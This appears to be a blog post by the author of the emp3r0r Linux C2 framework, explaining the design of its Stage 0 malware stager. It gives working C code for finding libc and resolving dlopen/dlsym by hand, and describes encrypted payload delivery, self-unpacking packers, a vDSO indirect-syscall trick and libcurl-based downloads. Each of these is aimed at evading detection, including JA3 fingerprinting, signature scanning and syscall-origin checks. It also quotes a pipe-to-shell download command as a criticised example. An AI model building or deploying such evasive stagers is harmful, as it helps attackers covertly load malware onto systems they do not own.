banner

Linux malware sucks

The gap between Windows and Linux tradecraft is insulting.

On Windows, decades of relentless defensive pressure forced offensive engineers to actually innovate. Operators strip away PE bloat, deploy position-independent shellcode, spoof call stacks, and stomp legitimate modules just to get a foothold. Then you look at the Linux ecosystem, and the tradecraft is genuinely insulting.

Most Linux malware does not even attempt basic OPSEC. People pipe raw web requests into curl http://payload.site/x | sh, leaving clear-text command-line arguments and child process trees sitting right inside system logs and /proc. Then they discover memfd_create and pretend they have unlocked mythical "file-less" stealth. A memory file descriptor is still a file descriptor. Shoving it into execveat simply spawns another process whose executable path points straight to memfd:name (deleted) or /proc/self/fd/3, making them trivially dumpable with just cat. In modern environments, that is even noisier than dropping an ELF to disk.

To be honest, most people don't even realise it. They might still be using reverse shell onliners in their engagements if it wasn't for the barebone support of Linux from some mainstream C2s. By "barebone", I mean merely cross-building the same code to be Linux-compatible.

I started writing emp3r0r back in 2019 as an open-source Linux C2. In the early stages, my focus was almost entirely on network evasion and covert communication. Over the years, as my understanding of low-level internals deepened and modern AI tools accelerated the engineering cycle, I was able to massively revamp the entire framework. It has finally matured into something genuinely robust and worth using.

The first component that needed a complete rethink is the entry point. If we want Linux tradecraft to improve, we have to start at Stage 0. That brings us to the rebuilt emp3r0r downloader stager.

Stager Design

What is a stager?

The emp3r0r stager is Stage 0. Its only job is to fetch Stage 1 (the real agent, packed by malasada into a reflective-loading shellcode blob) and jump to it.

[ Stage 0 stager ]                          [ listener ]        [ Stage 1 ]
      |                                           |                  |
      |  1. decode config (host/port/path/key)    |                  |
      |  2. resolve vDSO syscall gadget           |                  |
      |  3. mmap RW stage buffer                  |                  |
      | ----------------------------------------->| GET /payload     |
      | <-----------------------------------------| RC4(agent blob)  |
      |  4. RC4-decrypt in place                  |                  |
      |  5. mprotect RX                           |                  |
      |  6. jump to Stage 1 (base_addr, size) --->|----------------->|

The reasons why a stager is even needed:

  • You can't rewrite your C2 agent whenever it gets flagged. It has to be flexible enough to be delivered and executed by a stager, which can be easily mutated.
  • Your C2 agent payload might be too large to fit into your initial access delivery. For example, Sliver C2 payloads are 30MB+.
  • When your C2 agent is some sort of PIC (shellcode), a stager can hide it in many ways, making detection too expensive to be feasible.

Hide as much as possible

A stager pulls encrypted C2 payload and execute it covertly. But as the stager implements more evasions, the stager itself can get flagged easily.

That's why I included a packer stub to hide the stager itself. The stub does just one thing: it unpacks the stager and runs it. Of course the packer code can still get flagged, but the detection surface is minimal and a rewriting is often feasible.

When emp3r0r stager is built as packed, the artifact is a self-unpacking shellcode blob:

[ stub .init: _start ][ stub .text ][ stub .data: header ][ packed payload ]

The stub's _start sits at offset 0. It:

  1. mmaps a buffer RW (no execute),
  2. runs the unpacker (RC4 decrypt / LZSS decompress),
  3. mprotects the buffer to RX,
  4. jumps to the inner stager's _start.

The inner stager then does its job normally.

Modular Stager Framework

Many people see stagers as disposable artifacts. Well, they are. But since we have the packer stub, why not make the stager user defined?

emp3r0r stager is designed in a way so users can replace:

  • The packer stub, since this is the only unencrypted part.
  • The downloader transport. This is a lot more interesting. I will talk about it in detail later.

Stager Features

Pluggable transports

Why is it needed?

This is not just for rapid adoption of new protocols. Well, different protocols are definitely helpful in some cases. But HTTPS is still the king if you consider network traffic baseline in most environments.

The true innovation here, is using existing system code to download your payload. Why does it even matter? Because that code is supposed to make network requests, and it gives you the same TLS fingerprint as any other legitimate applications running on that system, easily defeating JA3-based detection (and it's impossible to detect with just network telemetries).

I just said curl malware|sh is an embarrassment, didn't I?

What we are supposed to do here, is the same as what they do on Windows: invoking system code from libraries like wininet. But unlike Windows, Linux distros are notoriously inconsistent in terms of runtime environments. They have different file system layouts, different versions (or even choices) of libraries. Some of them might not even have the libraries/tools at all. If you walk into stripped-down container environments, things get much much worse.

What do you do? You have to understand who provides network communication code in Linux.

Linux by itself, is just a kernel. It provides raw sockets and that's it. Applications rely on user space libraries to enable TLS, or even basic HTTP support. HTTP can be trivially implemented, but TLS can't.

In most modern Linux distros, libssl (OpenSSL) is used to provide TLS support. libcurl is for a higher level of abstraction, so you can directly invoke HTTPS requests. But it's not always installed if no other packages depend on it. If you see libcurl, you are lucky.

How to implement?

It's essentially dlopen and dlsym and make function calls using the function pointers you get.

But hold on, this is malware. You don't want to -ldl and run it like a normal application, because it's unlikely to work for a self-contained stager (needs to be PIC).

You do the same thing as you would on Windows: resolve the function names by hand.

In most cases, libc.so is already loaded into memory. To find the address of a function (dlopen), you can:

  • Find libc's base by scanning /proc/self/maps.
  • Parse libc's ELF dynamic section (DT_HASH/DT_STRTAB/DT_SYMTAB) to resolve dlopen, dlsym, and dlclose.
  • Then load libcurl.so and resolve the stable curl_easy_* ABI subset.
// open process memory maps
int fd = (int)syscall3(SYS_open, (long)"/proc/self/maps", O_RDONLY, 0);

// and find libc base address
while (*line) {
  char *nl = line;
  while (*nl && *nl != '\n')
    nl++;
  char saved = *nl;
  *nl = '\0';
  if (strstr(line, "libc.so")) {
    return parse_hex(line);
  }
  if (saved == '\0')
    break;
  line = nl + 1;
}

// and resolve the names

/* Resolve a dynamic symbol `name` from the ELF module loaded at `base`. */
static void *resolve_sym(void *base, const char *name) {
  Syscall_Elf64_Ehdr *ehdr = (Syscall_Elf64_Ehdr *)base;
  if (ehdr->e_ident[0] != ELFMAG0 || ehdr->e_ident[1] != ELFMAG1 ||
      ehdr->e_ident[2] != ELFMAG2 || ehdr->e_ident[3] != ELFMAG3)
    return 0;

  Syscall_Elf64_Phdr *phdr =
      (Syscall_Elf64_Phdr *)((char *)base + ehdr->e_phoff);
  Elf64_Dyn *dyn = 0;
  for (int i = 0; i < ehdr->e_phnum; i++) {
    if (phdr[i].p_type == PT_DYNAMIC_TYPE) {
      dyn = (Elf64_Dyn *)((char *)base + phdr[i].p_vaddr);
      break;
    }
  }
  if (!dyn)
    return 0;

  Elf64_Sym *symtab = 0;
  const char *strtab = 0;
  unsigned long nchain = 0;
  for (; dyn->d_tag != DT_NULL; dyn++) {
    /* Pointer-type DT_* entries hold absolute runtime addresses (the loader
     * relocates them); only st_value below needs the module base added. */
    if (dyn->d_tag == DT_SYMTAB)
      symtab = (Elf64_Sym *)dyn->d_val;
    else if (dyn->d_tag == DT_STRTAB)
      strtab = (const char *)dyn->d_val;
    else if (dyn->d_tag == DT_HASH)
      nchain = ((const uint32_t *)dyn->d_val)[1];
  }
  if (!symtab || !strtab || nchain == 0)
    return 0;

  for (unsigned long i = 0; i < nchain; i++) {
    const Elf64_Sym *sym = &symtab[i];
    if (sym->st_name != 0 && sym->st_shndx != 0 &&
        strcmp(strtab + sym->st_name, name) == 0)
      return (void *)((char *)base + sym->st_value);
  }
  return 0;
}

/* Resolve dlopen/dlsym/dlclose from libc once. Returns 0 on success. */
static int resolve_dl(void) {
  struct stager_state *st = get_stager_state();
  if (st->dl_ready == 0)
    return (st->dlopen_ && st->dlsym_ && st->dlclose_) ? 0 : -1;

  unsigned long libc = find_libc_base();
  if (libc) {
    st->dlopen_ = (dlopen_fn)resolve_sym((void *)libc, "dlopen");
    st->dlsym_ = (dlsym_fn)resolve_sym((void *)libc, "dlsym");
    st->dlclose_ = (dlclose_fn)resolve_sym((void *)libc, "dlclose");
  }
  st->dl_ready = 0;
  return (st->dlopen_ && st->dlsym_ && st->dlclose_) ? 0 : -1;
}

The above code is a quick example replying on ELF DT_HASH. Older libc.so might not provide dlopen directly, in that case you can use its internal __libc_dlopen_mode.

Of course, it requires libc.so already mapped into memory, which, in most cases is true. In a typical scenario, your stager should be loaded into a process with libc.so in it. If not, you need to implement your own loader.

Anyway, the rest of the work is to implement a curl downloader function in C, which is trivial.

Integration

Transports are plain C modules behind a two-function interface (core/modules/stager/transport.h):

const char *transport_name(void);
size_t transport_download(const char *host, const char *port,
                          const char *path, void *buffer,
                          size_t capacity, const uint8_t *key);

Built-in transports:

Transport How it downloads
http Raw-socket HTTP GET (no libc), skips headers, reads the body
tcp Raw TCP stream; the listener sends the blob and closes
udp Sequenced chunks with a key-hash hello and per-chunk ACK/retry
libcurl Loads libcurl.so.5/.4 at runtime and uses the curl_easy_* API

Adding a transport is just dropping in transport_<name>.c and selecting it with TRANSPORT=<name> in the Makefile (or --transport <name> in build.sh).

Pluggable self-unpacking packers

The packed format wraps the raw stager with a self-unpacker stub. The stub/packer contract is defined in unpack.h:

struct unpack_header {
  uint32_t unpacked_size;
  uint32_t packed_size;
  uint8_t  key[16];
};

At build time, the packer script patches this header into the stub's .data section (the stub and payload are then concatenated). At runtime the stub reads the header, unpacks the payload, and jumps to it.

Built-in packers:

  • RC4 (pack_rc4.py + unpack_stub_rc4.c) — encrypts the stager with a fresh random 16-byte key; the key is stored in the header.
  • LZSS (pack_lzss.py + unpack_stub_lzss.c) — greedy LZSS compression (4 KB window, 3–18 byte matches); no key needed.

Adding a packer means implementing unpack_stub_<name>.c and pack_<name>.py, then make packed UNPACKER=<name>. The header patching is handled for you by pack_common.py.

Why does it matter? Encryption or compression break static signature matching, and the packer is just an extension that you can replace with your own, static detection is impossible.

RC4-encrypted payload delivery

The download channel is encrypted with RC4 (this is separate from the packer's encryption).

  • The listener derives a 16-byte key from the operator-supplied passphrase and RC4-encrypts the served blob (core/lib/listener/staged_blob.go).
  • The stager derives the same key (derive_key_from_string in packer.c) and decrypts in memory before jumping.

The key derivation must stay in sync between Go and C: 4 × uint32 words XOR-accumulated over 4-byte groups of the passphrase.

Indirect syscalls via the vDSO

The stager avoids executing a raw syscall instruction from its own anonymous memory, instead:

  1. Bootstrap with an embedded syscall; ret gadget.
  2. Open/read /proc/self/auxv to locate AT_SYSINFO_EHDR (the vDSO base).
  3. Parse the vDSO's ELF headers, find its executable segments, and scan for the byte pattern 0f 05 c3 (syscall; ret).
  4. Cache that vDSO gadget and call *gadget for every subsequent syscall.

During the syscall, RIP points into the vDSO — a file-backed, kernel-mapped page, which looks completely normal to syscall-origin checks. If any step fails, it falls back to the embedded gadget.

Output formats & size

build.sh --stager-format <fmt> produces one of:

Format Artifact Notes
raw stager.bin position-independent raw shellcode
packed stager-packed.bin self-unpacking (RC4 or LZSS)
executable stager (ELF) static, no libc
so stager.so shared object, exports main

Size for a default HTTP build is roughly 2 KB of raw shellcode; the packed variant adds only a few hundred bytes of stub overhead (RC4 stub 440 B, LZSS stub 330 B). The libcurl transport adds a bit more for the runtime loader, totaling 3KB.


Comments

comments powered by Disqus